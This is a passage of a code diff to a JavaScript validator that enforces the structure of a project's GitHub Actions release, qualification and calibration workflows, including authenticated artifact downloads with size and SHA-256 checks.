"actions/artifacts/$ARTIFACT_ID/zip", + "--continue-at -", + "--max-time 120", + 'test "$actual_size" = "$EXPECTED_SIZE"', + 'test "$actual_digest" = "$EXPECTED_SHA256"', + "extract-candidate-actions-artifact.py", + "candidate-archive-store.mjs admit", + "--store-root \"$RUNNER_TOOL_CACHE/codestory/candidate-archives\"", + "--output-dir target/release-dist", + ], + ); + const qualityProducer = qualitySteps.find(step => step.id === "quality"); + const qualityProducerRun = shellLiteralNormalizedText( + String(qualityProducer?.run ?? ""), ); add( violations, - object(vulkan.with).quality_evidence_artifact === "", - `${file} Windows proof must not consume optional quality evidence`, + qualityProducer?.id === "quality" + && qualityProducer?.["continue-on-error"] === true + && qualityProducer?.shell === "bash" + && hasExactKeys(object(qualityProducer?.env), [ + "VERSION", + "CODESTORY_EMBED_ALLOW_CPU", + ]) + && object(qualityProducer?.env).VERSION === "${{ inputs.version }}" + && object(qualityProducer?.env).CODESTORY_EMBED_ALLOW_CPU === "0" + && qualityProducerRun.includes( + "target/release-dist/codestory-cli-v${version}-macos-arm64.tar.gz", + ) + && occurrenceCount( + qualityProducerRun, + "CODESTORY_RELEASE_EVIDENCE_CORPUS_ID=", + ) === 1 + && occurrenceCount( + qualityProducerRun, + "CODESTORY_RELEASE_EVIDENCE_CORPUS_CONTRACT=", + ) === 1 + && occurrenceCount( + qualityProducerRun, + "CODESTORY_RELEASE_EVIDENCE_CACHE_ID=", + ) === 1 + && shellInvocationsContaining(qualityProducerRun, "--packet-runtime").length === 1 + && qualityProducerRun.includes("--packet-runtime") + && qualityProducerRun.includes("--packet-runtime-mode cold-cli") + && occurrenceCount(qualityProducerRun, "--task-manifest") === 1 + && !qualityProducerRun.includes("--task-suite") + && !qualityProducerRun.includes("--task-ids") + && qualityProducerRun.includes("--materialize-repos") + && qualityProducerRun.includes("--repeats 3") + && qualityProducerRun.includes("--publishable") + && qualityProducerRun.includes("--max-source-reads-after-packet 0") + && qualityProducerRun.includes("--codestory-cli $packaged_cli") + && qualityProducerRun.includes("--timeout-ms 180000") + && qualityProducerRun.includes("--out-dir $quality_root/packet"), + `${qualityFile} must run exactly one pinned three-repeat publishable evaluator`, + ); + const qualityUpload = qualitySteps.find(step => step.id === "quality-upload"); + const qualityOutcome = namedStep(quality, "Record optional quality outcome"); + add( + violations, + qualityUpload?.id === "quality-upload" + && qualityUpload?.if === "steps.quality.outcome == 'success'" + && qualityUpload?.["continue-on-error"] === true + && qualityUpload?.uses === "actions/upload-artifact@v7.0.1" + && hasExactKeys(object(qualityUpload?.with), [ + "name", + "path", + "if-no-files-found", + "retention-days", + "overwrite", + ]) + && object(qualityUpload?.with).name + === "frozen-candidate-quality-${{ inputs.ref }}" + && object(qualityUpload?.with).path + === "target/frozen-candidate-quality/evidence" + && object(qualityUpload?.with)["if-no-files-found"] === "error" + && object(qualityUpload?.with)["retention-days"] === 30 + && object(qualityUpload?.with).overwrite === true + && qualityOutcome?.if === "always()" + && qualityOutcome?.shell === "bash" + && qualityOutcome?.["continue-on-error"] === undefined + && hasExactKeys(object(qualityOutcome?.env), [ + "QUALITY_OUTCOME", + "UPLOAD_OUTCOME", + ]) + && object(qualityOutcome?.env).QUALITY_OUTCOME + === "${{ steps.quality.outcome }}" + && object(qualityOutcome?.env).UPLOAD_OUTCOME + === "${{ steps.quality-upload.outcome }}" + && stepRun(quality, "Record optional quality outcome").includes( + 'echo "- Release or qualification gate: \\`false\\`"', + ), + `${qualityFile} must report both outcomes without becoming a qualification or release gate`, ); + const vulkan = requireJob(violations, file, workflow, "windows-vulkan-proof"); add( violations, - object(vulkan.with).server_behavior_only === true, - `${file} Windows proof must use bounded retrieval readiness`, + sameMembers(needs(vulkan), ["route", "packaged-proof"]), + `${file} Windows qualification must run independently of optional Metal quality`, ); - const linuxVulkan = requireJob(violations, file, workflow, "linux-vulkan-proof"); add( violations, - sameMembers(needs(linuxVulkan), ["route", "packaged-proof"]), - `${file} Linux Vulkan proof must wait only for routing and package proof`, + String(vulkan.if ?? "").includes("needs.route.outputs.mode != 'package'") + && !String(vulkan.if ?? "").includes("needs.macos-metal-proof"), + `${file} package-only mode must skip Windows without serializing it behind Metal`, ); + add(violations, object(vulkan.with).use_packaged_cli_artifact === true, `${file} Vulkan proof must use the packaged CLI`); add( violations, - String(linuxVulkan.if ?? "").includes("needs.route.outputs.mode != 'package'"), - `${file} package-only mode must skip protected Linux proof`, + object(vulkan.with).candidate_installed_proof + === "${{ needs.route.outputs.mode != 'qualification' }}", + `${file} qualification must run full Windows proof rather than candidate-installed proof`, ); add( violations, - linuxVulkan.uses === "./.github/workflows/linux-vulkan-proof.yml", - `${file} Linux proof must use the protected Vulkan workflow`, + object(vulkan.with).quality_evidence_artifact === undefined, + `${file} Windows qualification must not consume optional quality evidence`, + ); + add( + violations, + object(vulkan.with).server_behavior_only + === "${{ needs.route.outputs.mode != 'qualification' }}", + `${file} qualification must run full Windows lifecycle and fault proof`, + ); + const linuxVulkan = requireJob(violations, file, workflow, "linux-vulkan-proof"); + add( + violations, + sameMembers(needs(linuxVulkan), ["route", "packaged-proof"]), + `${file} Linux Vulkan proof must wait only for routing and package proof`, + ); + add( + violations, + String(linuxVulkan.if ?? "").includes("needs.route.outputs.mode != 'package'") + && String(linuxVulkan.if ?? "").includes( + "needs.route.outputs.mode != 'qualification'", + ), + `${file} package-only and qualification modes must skip coordinator Linux proof`, + ); + add( + violations, + linuxVulkan.uses === "./.github/workflows/linux-vulkan-proof.yml", + `${file} Linux proof must use the protected Vulkan workflow`, ); add( violations, @@ -3122,6 +5842,15 @@ function validatePackagedCoordinator(workflows, violations, graph) { ]), `${file} closeout must wait for every selected platform proof`, ); + add( + violations, + closeout.if + === "always() && needs.route.result != 'skipped' && needs.route.outputs.mode != 'release-evidence' && needs.route.outputs.mode != 'calibration'" + && closeout["runs-on"] === "ubuntu-latest" + && closeout["timeout-minutes"] === 20 + && closeout["continue-on-error"] === undefined, + `${file} closeout job must retain its reviewed unconditional result-checking activation`, + ); const evidence = requireJob(violations, file, workflow, "release-evidence"); add( violations, @@ -3131,8 +5860,46 @@ function validatePackagedCoordinator(workflows, violations, graph) { add( violations, !needs(closeout).includes("release-evidence") - && !scalarStrings(closeout).some(value => value.includes("EVIDENCE_RESULT")), - `${file} normal closeout must not depend on optional release evidence`, + && !needs(closeout).includes("frozen-candidate-quality") + && !scalarStrings(closeout).some(value => + value.includes("EVIDENCE_RESULT") + || value.includes("QUALITY_RESULT") + || value.includes("frozen-candidate-quality") + ), + `${file} normal closeout must not depend on optional release or quality evidence`, + ); + const closeoutProofName = "Require one coherent accepted proof"; + const closeoutProof = namedStep(closeout, closeoutProofName); + const closeoutRun = executableRunText(stepRun(closeout, closeoutProofName)); + add( + violations, + list(closeout.steps).length === 1 + && closeoutProof?.if === undefined + && closeoutProof?.["continue-on-error"] === undefined + && closeoutProof?.shell === "bash" + && closeoutProof?.["working-directory"] === undefined, + `${file} closeout must run one unconditional proof step under the reviewed Bash interpreter`, + ); + const expectedCloseoutEnv = { + GH_TOKEN: "${{ github.token }}", + HEAD_SHA: "${{ needs.route.outputs.head_sha }}", + MODE: "${{ needs.route.outputs.mode }}", + SCOPE: "${{ needs.route.outputs.scope }}", + ROUTE_RESULT: "${{ needs.route.result }}", + SOURCE_RESULT: "${{ needs.source-proof.result }}", + PACKAGE_RESULT: "${{ needs.packaged-proof.result }}", + METAL_RESULT: "${{ needs.macos-metal-proof.result }}", + WINDOWS_VULKAN_RESULT: "${{ needs.windows-vulkan-proof.result }}", + LINUX_VULKAN_RESULT: "${{ needs.linux-vulkan-proof.result }}", + }; + const closeoutEnv = object(closeoutProof?.env); + add( + violations, + hasExactKeys(closeoutEnv, Object.keys(expectedCloseoutEnv)) + && Object.entries(expectedCloseoutEnv).every( + ([key, value]) => closeoutEnv[key] === value, + ), + `${file} closeout proof must bind every route and platform result from the reviewed jobs exactly`, ); requireStepRun(violations, file, closeout, "Require one coherent accepted proof", [ 'if [ "$MODE" = package ]', @@ -3142,9 +5909,25 @@ function validatePackagedCoordinator(workflows, violations, graph) { '[ "$SCOPE" = linux ]', "WINDOWS_VULKAN_RESULT", "LINUX_VULKAN_RESULT", + 'if [ "$MODE" = qualification ]; then', + 'require_result "$LINUX_VULKAN_RESULT" skipped linux-vulkan-proof', 'require_result "$LINUX_VULKAN_RESULT" success linux-vulkan-proof', "dev/codestory-next moved from proved head", ]); + requireExactStepScript( + violations, + file, + closeout, + "Require one coherent accepted proof", + packagedPlatformCloseoutDigest, + "coordinator closeout", + ); + add( + violations, + /if\s+\[\s*"\$MODE"\s*=\s*qualification\s*\];\s*then\s+require_result\s+"\$LINUX_VULKAN_RESULT"\s+skipped\s+linux-vulkan-proof\s+else\s+require_result\s+"\$LINUX_VULKAN_RESULT"\s+success\s+linux-vulkan-proof\s+fi/um + .test(closeoutRun), + `${file} qualification closeout must accept skipped optional Linux proof without blocking`, + ); add(violations, !scalarStrings(workflow).some(value => value === "./.github/workflows/release.yml"), `${file} must not publish releases`); } @@ -3185,7 +5968,11 @@ function validateRemainingWorkflows(workflows, violations) { add(violations, release.uses === "./.github/workflows/release.yml", `${autoFile} must call the release workflow`); add(violations, sameMembers(needs(release), ["detect-version"]), `${autoFile} release must need version detection`); add(violations, object(release.permissions).contents === "write", `${autoFile} release caller must grant contents write`); - add(violations, object(release.permissions).actions === "read", `${autoFile} release caller must grant actions read`); + add( + violations, + object(release.permissions).actions === "write", + `${autoFile} release caller must grant actions write for superseded-run cancellation`, + ); add( violations, object(release.permissions)["pull-requests"] === "read", @@ -3220,7 +6007,8 @@ function validateRemainingWorkflows(workflows, violations) { add( violations, object(repoEvidence?.env).CODESTORY_RELEASE_EVIDENCE_CORPUS_ID - === "codestory-release-corpus-v0.16-axios-js-ts-v2", + === "codestory-release-corpus-v0.16-axios-js-ts-v2" + && object(repoEvidence?.env).CODESTORY_EMBED_ALLOW_CPU === "0", `${evidenceFile} repo evidence must bind the v0.16 Axios v2 corpus`, ); const packetEvidence = namedStep(job, "Produce publishable packet evidence"); @@ -3228,8 +6016,9 @@ function validateRemainingWorkflows(workflows, violations) { violations, object(packetEvidence?.env).CODESTORY_RELEASE_EVIDENCE_CORPUS_ID === "codestory-release-corpus-v0.16-axios-js-ts-v2" - && object(packetEvidence?.env).CODESTORY_RELEASE_EVIDENCE_CORPUS_CONTRACT - === "benchmarks/release-evidence/corpus-contracts/v0.16-axios-js-ts-v2.json", + && object(packetEvidence?.env).CODESTORY_RELEASE_EVIDENCE_CORPUS_CONTRACT + === "benchmarks/release-evidence/corpus-contracts/v0.16-axios-js-ts-v2.json" + && object(packetEvidence?.env).CODESTORY_EMBED_ALLOW_CPU === "0", `${evidenceFile} packet evidence must bind the v0.16 Axios v2 corpus contract`, ); const packetRun = String(packetEvidence?.run ?? ""); @@ -3249,11 +6038,27 @@ function validateRemainingWorkflows(workflows, violations) { if (!metal) { violations.push(`${metalFile} must exist`); } else { - add(violations, trigger(metal, "workflow_call") !== undefined && trigger(metal, "workflow_dispatch") !== undefined, `${metalFile} must support reusable and manual proof`); - for (const event of ["workflow_call", "workflow_dispatch"]) { + add( + violations, + createHash("sha256").update(JSON.stringify(metal)).digest("hex") + === macosMetalWorkflowDigest, + `${metalFile} must match the reviewed protected Metal workflow structure`, + ); + add( + violations, + trigger(metal, "workflow_call") !== undefined + && trigger(metal, "workflow_dispatch") === undefined, + `${metalFile} must be coordinator-only and not directly dispatchable`, + ); + for (const event of ["workflow_call"]) { for (const key of ["calibration_bundle_artifact", "calibration_bundle_run_id"]) { requireOptionalStringInput(violations, metalFile, metal, event, key); } + add( + violations, + at(metal, "on", event, "inputs", "quality_evidence_artifact") === undefined, + `${metalFile} ${event} must not accept optional quality evidence`, + ); } const candidateInput = object(at( metal, @@ -3315,53 +6120,423 @@ function validateRemainingWorkflows(workflows, violations) { `${metalFile} candidate-installed validation must be an explicit Bash boundary`, ); requireStepRun(violations, metalFile, job, "Validate candidate-installed mode", [ - 'test "${{ inputs.server_behavior_only }}" = true', - 'test "${{ inputs.calibration_mode }}" = false', + 'test "$SERVER_BEHAVIOR_ONLY" = true', + 'test "$CALIBRATION_MODE" = false', + ]); + requireStepEnv(violations, metalFile, job, "Validate candidate-installed mode", { + SERVER_BEHAVIOR_ONLY: "${{ inputs.server_behavior_only }}", + CALIBRATION_MODE: "${{ inputs.calibration_mode }}", + }); + requireStepRun(violations, metalFile, job, "Prepare checksum-pinned embedded model", [ + "node scripts/prepare-embedded-model.mjs", + '--cache-root "$RUNNER_TOOL_CACHE/codestory/model-material"', ]); - requireStepRun(violations, metalFile, job, "Prepare checksum-pinned embedded model", ["node scripts/prepare-embedded-model.mjs"]); requireStepRun(violations, metalFile, job, "Capture host evidence", ["python3 --version", 'test "$macos_major" -ge 15']); + const calibrationClock = namedStep( + job, + "Start Metal constant calibration clock", + ); + const modelPreparation = namedStep(job, "Prepare checksum-pinned embedded model"); + add( + violations, + calibrationClock?.if === "inputs.calibration_mode" + && calibrationClock?.id === "calibration-clock" + && calibrationClock?.shell === "bash" + && occurrenceCount(String(calibrationClock?.run ?? ""), "time.monotonic_ns()") === 1 + && String(calibrationClock?.run ?? "").includes( + 'echo "started-ns=', + ) + && String(calibrationClock?.run ?? "").includes(">> \"$GITHUB_OUTPUT\"") + && modelPreparation?.id === "model-prepare" + && modelPreparation?.if === "${{ !inputs.use_packaged_cli_artifact }}" + && modelPreparation?.shell === "bash" + && occurrenceCount( + String(modelPreparation?.run ?? ""), + "time.monotonic_ns()", + ) === 2 + && String(modelPreparation?.run ?? "").includes("duration-ms=") + && String(modelPreparation?.run ?? "").includes(">> \"$GITHUB_OUTPUT\"") + && stepIndex(job, "Start Metal constant calibration clock") + < stepIndex(job, "Prepare checksum-pinned embedded model"), + `${metalFile} calibration must time model preparation and total wall time from one explicit clock`, + ); add( violations, namedStep(job, "Install pinned Rust")?.if - === "${{ !inputs.use_packaged_cli_artifact || inputs.calibration_mode || !inputs.server_behavior_only }}", - `${metalFile} packaged server-behavior proof must skip unused Rust installation`, + === "${{ !inputs.use_packaged_cli_artifact }}", + `${metalFile} every packaged proof must skip Rust installation`, + ); + add( + violations, + namedStep(job, "Build qualification driver") === undefined, + `${metalFile} must not rebuild the qualification driver after package download`, ); + const nativeBuild = namedStep(job, "Build and package native CLI"); + const nativeBuildRun = executableRunText(String(nativeBuild?.run ?? "")); + const normalizedNativeBuildRun = shellLiteralNormalizedText(nativeBuildRun); add( violations, - namedStep(job, "Build qualification driver")?.if - === "inputs.calibration_mode || !inputs.server_behavior_only", - `${metalFile} packaged server-behavior proof must skip the qualification driver`, + hasExactKeys(object(nativeBuild?.env), [ + "VERSION", + "CALIBRATION_MODE", + "SERVER_BEHAVIOR_ONLY", + ]) + && object(nativeBuild?.env).CALIBRATION_MODE === "${{ inputs.calibration_mode }}" + && object(nativeBuild?.env).SERVER_BEHAVIOR_ONLY + === "${{ inputs.server_behavior_only }}" + && nativeBuild?.id === "native-build-package" + && shellInvocationsContaining(normalizedNativeBuildRun, "cargo build").length === 1 + && normalizedNativeBuildRun.includes("-p codestory-cli") + && normalizedNativeBuildRun.includes("-p codestory-bench") + && normalizedNativeBuildRun.includes("--bin codestory-cli") + && normalizedNativeBuildRun.includes("--bin codestory-cli-runtime") + && normalizedNativeBuildRun.includes("--bin codestory_embedding_constant_calibration") + && normalizedNativeBuildRun.includes( + "--bin codestory_embedding_qualification", + ) + && normalizedNativeBuildRun.includes("if [ $CALIBRATION_MODE = true ]") + && normalizedNativeBuildRun.includes( + "elif [ $SERVER_BEHAVIOR_ONLY != true ]", + ) + && occurrenceCount( + normalizedNativeBuildRun, + "--bin codestory_embedding_qualification", + ) === 1 + && occurrenceCount( + normalizedNativeBuildRun, + "--bin codestory_embedding_constant_calibration", + ) === 1 + && shellInvocationsContaining( + normalizedNativeBuildRun, + "python3 .github/scripts/package-codestory-release.py", + ).length === 1 + && jobShellInvocationsContaining(job, "cargo build").length === 1 + && jobShellInvocationsContaining( + job, + ".github/scripts/package-codestory-release.py", + ).length === 1 + && jobShellInvocationsContaining( + job, + "node scripts/prepare-embedded-model.mjs", + ).length === 1 + && jobShellInvocationsContaining( + job, + ".github/scripts/check-packaged-agent-proof.py", + ).length === 4 + && occurrenceCount(normalizedNativeBuildRun, "time.monotonic_ns()") === 2 + && normalizedNativeBuildRun.includes("duration-ms=") + && normalizedNativeBuildRun.includes(">> $GITHUB_OUTPUT"), + `${metalFile} calibration must build CLI and constant collector once through one shared Cargo invocation and package once`, + ); + const candidateAuthentication = namedStep( + job, + "Authenticate exact candidate artifacts", + ); + const recordDownload = namedStep( + job, + "Download authenticated candidate record", + ); + const cacheRestore = namedStep( + job, + "Restore exact candidate archive from protected host", + ); + const cacheMiss = namedStep( + job, + "Download, authenticate, and admit candidate archive on miss", + ); + const driverDownload = namedStep( + job, + "Download separate authenticated qualification driver", ); - const packagedArtifactDownload = namedStep(job, "Download packaged CLI artifact"); add( violations, - packagedArtifactDownload?.if === "inputs.use_packaged_cli_artifact" - && packagedArtifactDownload?.shell === "bash" - && object(packagedArtifactDownload?.env).GH_TOKEN === "${{ github.token }}" - && object(packagedArtifactDownload?.env).ARTIFACT_NAME === "codestory-cli-macos-arm64", - `${metalFile} packaged CLI download must be an authenticated exact-artifact Bash boundary`, + candidateAuthentication?.id === "candidate-artifacts" + && candidateAuthentication?.if === "inputs.use_packaged_cli_artifact" + && candidateAuthentication?.shell === "bash" + && candidateAuthentication?.["continue-on-error"] === undefined + && hasExactKeys(object(candidateAuthentication?.env), [ + "ARTIFACT_NAME", + "CANDIDATE_PRODUCER_WORKFLOW_PATH", + "CANDIDATE_RECORD_ARTIFACT", + "GH_TOKEN", + "QUALIFICATION_ARTIFACT", + "SERVER_BEHAVIOR_ONLY", + ]) + && object(candidateAuthentication?.env).GH_TOKEN === "${{ github.token }}" + && object(candidateAuthentication?.env).ARTIFACT_NAME + === "codestory-cli-macos-arm64" + && object(candidateAuthentication?.env).CANDIDATE_RECORD_ARTIFACT + === "codestory-candidate-archive-record-macos-arm64" + && object(candidateAuthentication?.env).QUALIFICATION_ARTIFACT + === "codestory-qualification-driver-macos-arm64" + && object(candidateAuthentication?.env).CANDIDATE_PRODUCER_WORKFLOW_PATH + === "${{ inputs.candidate_producer_workflow_path }}" + && object(candidateAuthentication?.env).SERVER_BEHAVIOR_ONLY + === "${{ inputs.server_behavior_only }}", + `${metalFile} packaged candidate authentication must bind all exact artifacts before cache lookup`, ); - requireStepRun(violations, metalFile, job, "Download packaged CLI artifact", [ + requireStepRun(violations, metalFile, job, "Authenticate exact candidate artifacts", [ "actions/runs/$GITHUB_RUN_ID/artifacts?per_page=100", + ".github/workflows/auto-release.yml", + ".github/workflows/release.yml", + ".github/workflows/packaged-platform-pr.yml", + 'if [ "$SERVER_BEHAVIOR_ONLY" != true ]; then', + 'test "$CANDIDATE_PRODUCER_WORKFLOW_PATH" =', + ".head_repository.full_name", + '.path\' <<<"$producer_run")" = "$CANDIDATE_PRODUCER_WORKFLOW_PATH"', + '.head_sha\' <<<"$producer_run")" = "$(git rev-parse HEAD)"', + '.run_attempt\' <<<"$producer_run")" = "$GITHUB_RUN_ATTEMPT"', ".workflow_run.id == $run_id", ".workflow_run.head_sha == $sha", - ".digest", - ".size_in_bytes", + "expected one exact candidate artifact", + 'artifact="$(select_artifact "$ARTIFACT_NAME")"', + 'record_artifact="$(select_artifact "$CANDIDATE_RECORD_ARTIFACT")"', + 'select_artifact "$QUALIFICATION_ARTIFACT"', + "package-id=$artifact_id", + "package-bytes=$expected_size", + "package-sha256=${expected_digest#sha256:}", + ]); + add( + violations, + recordDownload?.if === "inputs.use_packaged_cli_artifact" + && recordDownload?.uses === "actions/download-artifact@v8.0.1" + && hasExactKeys(object(recordDownload?.with), ["name", "path"]) + && object(recordDownload?.with).name + === "codestory-candidate-archive-record-macos-arm64" + && object(recordDownload?.with).path + === "target/candidate-archive-record/macos-arm64" + && cacheRestore?.id === "candidate-cache" + && cacheRestore?.if === "inputs.use_packaged_cli_artifact" + && cacheRestore?.shell === "bash" + && cacheRestore?.["continue-on-error"] === undefined, + `${metalFile} protected cache lookup must consume only the exact small candidate record`, + ); + requireStepRun( + violations, + metalFile, + job, + "Restore exact candidate archive from protected host", + [ + "--arg repository \"$GITHUB_REPOSITORY\"", + "--arg source_sha \"$(git rev-parse HEAD)\"", + "--arg source_tree \"$(git rev-parse 'HEAD^{tree}')\"", + "--arg target macos-arm64", + "$RUNNER_TOOL_CACHE/codestory/candidate-archives", + "candidate-archive-store.mjs restore", + "--record \"$record\"", + "--output-dir target/release-dist", + "echo \"hit=$hit\" >> \"$GITHUB_OUTPUT\"", + ], + ); + add( + violations, + cacheMiss?.if + === "inputs.use_packaged_cli_artifact && steps.candidate-cache.outputs.hit != 'true'" + && cacheMiss?.shell === "bash" + && cacheMiss?.["continue-on-error"] === undefined + && hasExactKeys(object(cacheMiss?.env), [ + "ARTIFACT_ID", + "EXPECTED_SHA256", + "EXPECTED_SIZE", + "GH_TOKEN", + ]) + && object(cacheMiss?.env).ARTIFACT_ID + === "${{ steps.candidate-artifacts.outputs.package-id }}" + && object(cacheMiss?.env).EXPECTED_SIZE + === "${{ steps.candidate-artifacts.outputs.package-bytes }}" + && object(cacheMiss?.env).EXPECTED_SHA256 + === "${{ steps.candidate-artifacts.outputs.package-sha256 }}" + && object(cacheMiss?.env).GH_TOKEN === "${{ github.token }}", + `${metalFile} large Actions artifact transfer must be a cache-miss-only authenticated boundary`, + ); + requireStepRun( + violations, + metalFile, + job, + "Download, authenticate, and admit candidate archive on miss", + [ + "actions/artifacts/$ARTIFACT_ID/zip", "--continue-at -", "--max-time 120", - "test \"$actual_size\" = \"$expected_size\"", - "test \"$actual_digest\" = \"${expected_digest#sha256:}\"", - "ditto -x -k", - ]); + 'test "$actual_size" = "$EXPECTED_SIZE"', + 'test "$actual_digest" = "$EXPECTED_SHA256"', + "extract-candidate-actions-artifact.py", + "candidate-archive-store.mjs admit", + "--store-root \"$RUNNER_TOOL_CACHE/codestory/candidate-archives\"", + "--output-dir target/release-dist", + ], + ); + add( + violations, + driverDownload?.if + === "${{ inputs.use_packaged_cli_artifact && !inputs.calibration_mode && !inputs.server_behavior_only }}" + && driverDownload?.uses === "actions/download-artifact@v8.0.1" + && hasExactKeys(object(driverDownload?.with), ["name", "path"]) + && object(driverDownload?.with).name + === "codestory-qualification-driver-macos-arm64" + && object(driverDownload?.with).path + === "target/qualification-driver-artifact/macos-arm64" + && stepIndex(job, "Authenticate exact candidate artifacts") + < stepIndex(job, "Download authenticated candidate record") + && stepIndex(job, "Download authenticated candidate record") + < stepIndex(job, "Restore exact candidate archive from protected host") + && stepIndex(job, "Restore exact candidate archive from protected host") + < stepIndex(job, "Download, authenticate, and admit candidate archive on miss") + && stepIndex(job, "Download, authenticate, and admit candidate archive on miss") + < stepIndex(job, "Download separate authenticated qualification driver"), + `${metalFile} private driver must remain a separate authenticated artifact after candidate cache resolution`, + ); + const metalDriverVerify = namedStep(job, "Verify packaged qualification driver"); + const metalDriverVerifyRun = shellLiteralNormalizedText( + stepRun(job, "Verify packaged qualification driver"), + ); + add( + violations, + metalDriverVerify?.id === "qualification-driver" + && metalDriverVerify?.if + === "${{ inputs.use_packaged_cli_artifact && !inputs.calibration_mode && !inputs.server_behavior_only }}" + && metalDriverVerify?.shell === "bash" + && metalDriverVerify?.["continue-on-error"] === undefined + && hasExactKeys(object(metalDriverVerify?.env), ["INPUT_VERSION"]) + && object(metalDriverVerify?.env).INPUT_VERSION === "${{ inputs.version }}" + && shellInvocationsContaining( + metalDriverVerifyRun, + "node .github/scripts/qualification-driver-artifact.mjs verify", + ).length === 1 + && metalDriverVerifyRun.includes("--asset-target macos-arm64") + && metalDriverVerifyRun.includes("--source-sha $(git rev-parse HEAD)") + && metalDriverVerifyRun.includes("--source-tree $(git rev-parse HEAD^{tree})") + && metalDriverVerifyRun.includes("--version $version") + && metalDriverVerifyRun.includes( + "--archive target/release-dist/codestory-cli-v${version}-macos-arm64.tar.gz", + ) + && metalDriverVerifyRun.includes("--trusted-root $GITHUB_WORKSPACE") + && metalDriverVerifyRun.includes( + "--artifact-dir target/qualification-driver-artifact/macos-arm64", + ) + && metalDriverVerifyRun.includes( + "echo path=$(jq -r .driver <<<$verified) >> $GITHUB_OUTPUT", + ) + && stepIndex(job, "Verify packaged qualification driver") + === stepIndex(job, "Download separate authenticated qualification driver") + 1, + `${metalFile} packaged qualification must verify the archive-bound private driver`, + ); + add( + violations, + qualificationDriverHandoffIsSealed( + job, + "Verify packaged qualification driver", + "Prove protected Metal runtime", + [ + "Authenticate calibration bundle producer", + "Download frozen calibration bundle", + ], + ), + `${metalFile} must not replace the verified qualification driver before execution`, + ); requireCalibrationProducerBoundary( violations, metalFile, job, "${{ !inputs.calibration_mode && !inputs.server_behavior_only }}", ); - requireStepRun(violations, metalFile, job, "Collect three independent Metal calibration runs", [ - 'test "$(jq -r .status crates/codestory-llama-sys/per-user-embedding-server-constant-set.json)" = unfrozen', + const calibrationPreflightName = "Validate unfrozen Metal calibration source"; + const calibrationPreflight = namedStep(job, calibrationPreflightName); + add( + violations, + calibrationPreflight?.if === "inputs.calibration_mode" + && calibrationPreflight?.shell === "bash" + && calibrationPreflight?.["continue-on-error"] === undefined + && stepRun(job, calibrationPreflightName).trim() === [ + "set -euo pipefail", + 'test "$(jq -r .status crates/codestory-llama-sys/per-user-embedding-server-constant-set.json)" = unfrozen', + 'test "$(jq -r .freeze_record crates/codestory-llama-sys/per-user-embedding-server-constant-set.json)" = null', + ].join("\n") + && stepIndex(job, calibrationPreflightName) + === stepIndex(job, "Checkout") + 1, + `${metalFile} must reject a frozen or stale calibration source immediately after checkout and before setup or compilation`, + ); + const calibrationStepName = "Collect three independent Metal constant calibration runs"; + requireStepRun(violations, metalFile, job, calibrationStepName, [ + "--proof-tier calibration", + "--engine-policy accelerated", + "--expected-backend Metal", + "--qualification-matrix-cell protected_macos_arm64_metal", + "--collect-constant-calibration", + "--constant-calibration-output-dir target/calibration-runs/macos", + "--qualification-driver target/release/codestory_embedding_constant_calibration", + "--out-dir target/calibration-proof/macos", ]); + const calibrationRun = shellLiteralNormalizedText( + stepRun(job, calibrationStepName), + ); + add( + violations, + shellInvocationsContaining( + calibrationRun, + "python3 .github/scripts/check-packaged-agent-proof.py", + ).length === 1 + && occurrenceCount(calibrationRun, "--collect-constant-calibration") === 1 + && !hasShellLoop(calibrationRun) + && !calibrationRun.includes("--produce-qualification-evidence") + && !calibrationRun.includes("--qualification-evidence") + && !calibrationRun.includes("--calibration-run-index") + && !calibrationRun.includes("--calibration-run-output") + && !calibrationRun.includes("--retrieval-quality-evidence") + && !calibrationRun.includes("--publication-fault-evidence") + && !calibrationRun.includes("--qualification-scenario") + && !calibrationRun.includes("--samples-per-metric") + && !calibrationRun.includes("true_idle_exit") + && !calibrationRun.includes("total_codestory_process_memory") + && !calibrationRun.includes("backend_observed_accelerator_residency") + && !calibrationRun.includes("--project") + && !calibrationRun.includes("--plugin-root") + && !calibrationRun.includes("--plugin-handoff"), + `${metalFile} calibration must use one three-run synthetic-project constant collector without full qualification or nested sampling`, + ); + const calibrationTimingName = "Publish Metal constant calibration timing"; + const calibrationTiming = namedStep(job, calibrationTimingName); + const calibrationTimingRun = stepRun(job, calibrationTimingName); + add( + violations, + calibrationTiming?.if === "inputs.calibration_mode" + && calibrationTiming?.shell === "bash" + && hasExactKeys(calibrationTiming?.env, [ + "CALIBRATION_STARTED_NS", + "MODEL_PREPARATION_DURATION_MS", + "BUILD_PACKAGE_DURATION_MS", + ]) + && object(calibrationTiming?.env).CALIBRATION_STARTED_NS + === "${{ steps.calibration-clock.outputs.started-ns }}" + && object(calibrationTiming?.env).MODEL_PREPARATION_DURATION_MS + === "${{ steps.model-prepare.outputs.duration-ms }}" + && object(calibrationTiming?.env).BUILD_PACKAGE_DURATION_MS + === "${{ steps.native-build-package.outputs.duration-ms }}" + && calibrationTimingRun.includes("timing_path=target/calibration-runs/macos/timing.json") + && calibrationTimingRun.includes( + "calibration_finished_ns=\"$(python3 -c 'import time; print(time.monotonic_ns())')\"", + ) + && calibrationTimingRun.includes( + "calibration_total_ms=$(((calibration_finished_ns - CALIBRATION_STARTED_NS) / 1000000))", + ) + && calibrationTimingRun.includes( + 'test "$calibration_total_ms" -lt 600000', + ) + && calibrationTimingRun.includes( + '[[ "$MODEL_PREPARATION_DURATION_MS" =~ ^[0-9]+$ ]]', + ) + && calibrationTimingRun.includes("test \"$BUILD_PACKAGE_DURATION_MS\" -ge 0") + && calibrationTimingRun.includes("archive_authentication_unpack_ms") + && calibrationTimingRun.includes("project_and_request_setup_ms") + && calibrationTimingRun.includes("measurement_ms") + && calibrationTimingRun.includes("retention_validation_ms") + && calibrationTimingRun.includes("end_to_end_ms") + && calibrationTimingRun.includes("Model preparation") + && calibrationTimingRun.includes("Shared CLI build and package") + && calibrationTimingRun.includes("Total calibration wall time") + && calibrationTimingRun.includes(">> \"$GITHUB_STEP_SUMMARY\""), + `${metalFile} calibration must publish shared build/package and five-phase collector timing, including model preparation and an under-ten-minute total`, + ); const engine = namedStep(job, "Prove protected Metal runtime"); requireStepRun(violations, metalFile, job, "Prove protected Metal runtime", [ "--engine-policy accelerated", @@ -3372,7 +6547,6 @@ function validateRemainingWorkflows(workflows, violations) { "--calibration-producer-run-id", "--calibration-producer-artifact", "--server-behavior-only", - 'test -f "$quality_path"', ]); add(violations, object(engine?.env).CODESTORY_EMBED_ALLOW_CPU === "0", `${metalFile} engine proof must reject CPU fallback`); const engineRun = stepRun( @@ -3384,7 +6558,26 @@ function 